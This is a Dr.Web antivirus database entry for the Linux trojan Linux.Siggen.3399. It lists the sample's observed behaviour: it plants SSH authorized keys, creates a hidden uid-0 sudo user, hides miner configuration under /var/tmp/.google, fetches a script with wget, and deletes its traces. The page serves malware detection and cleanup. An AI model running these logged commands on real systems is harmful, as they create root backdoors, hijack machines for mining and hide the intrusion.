Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.3399

Added to the Dr.Web virus database: 2020-11-15

Virus description added:

Technical Information

Malicious functions:
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Launches processes:
  • /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/bash <SAMPLE_FULL_PATH> -c
  • grep -oP (?<=\"wgetserver\": \")[^\"]* .autorun.json
  • pgrep -x syst3md
  • id -u
  • mkdir .settings
  • mkdir /root/.ssh
  • cat .settings/.rsakey
  • chmod 600 /root/.ssh/authorized_keys
  • chattr +ia /root/.ssh
  • sleep 1
  • cp .autorun.json .autorun.bak.json
  • sed -i -e s@minerl@/root/syst3md@g .autorun.json
  • sed -i -e s@hookl@/root/1@g .autorun.json
  • sed -i -e s@apache3l@/root/trojanhorse@g .autorun.json
  • sed -i -e s@fakerl@/root/.fake@g .autorun.json
  • /usr/sbin/useradd -u0 -g0 -o -s /bin/bash ad1tz
  • nscd -i passwd
  • nscd -i group
  • usermod -aG sudo ad1tz
  • mkdir /var/tmp/.google
  • cp config.json /var/tmp/.google/bing.json
  • rm -rf config.json
  • sed -i -e s@minercfgl@/var/tmp/.google/bing.json@g .autorun.json
  • cp .autorun.json /var/tmp/.google/yandex.json
  • rm -rf .autorun.json
  • clear
  • sleep 2
  • sleep 3
  • ./trojanhorse
  • wget -q /clear.sh
  • chmod +x <SAMPLE> run.sh stdout.log
  • rm -rf clear*
Performs operations with the file system:
Modifies file access rights:
  • /root/.ssh/authorized_keys
  • /etc/passwd+
  • /etc/shadow+
  • /etc/subuid+
  • /etc/subgid+
  • /etc/group+
  • /etc/gshadow+
  • <SAMPLE_FULL_PATH>
  • /root/run.sh
Creates folders:
  • /root/.settings
  • /root/.ssh
  • /var/tmp/.google
Creates symlinks:
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/shadow.lock
Creates or modifies files:
  • /root/.settings/.rsakey
  • /etc/.pwd.lock
  • /etc/passwd.727
  • /etc/group.727
  • /etc/gshadow.727
  • /etc/subuid.727
  • /etc/subgid.727
  • /etc/shadow.727
  • /etc/passwd-
  • /etc/passwd+
  • /etc/shadow-
  • /etc/shadow+
  • /etc/subuid-
  • /etc/subuid+
  • /etc/subgid-
  • /etc/subgid+
  • /etc/passwd.732
  • /etc/shadow.732
  • /etc/group.732
  • /etc/gshadow.732
  • /etc/group-
  • /etc/group+
  • /etc/gshadow-
  • /etc/gshadow+
  • /root/.settings/.usercreated
  • /var/tmp/.google/.yahoocfg
Deletes files:
  • /etc/passwd.727
  • /etc/group.727
  • /etc/gshadow.727
  • /etc/subuid.727
  • /etc/subgid.727
  • /etc/shadow.727
  • /etc/shadow.lock
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/passwd.732
  • /etc/shadow.732
  • /etc/group.732
  • /etc/gshadow.732
  • /root/config.json
  • /root/.autorun.json
  • /root/clear*
Other:
Collects CPU information
Collects RAM information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number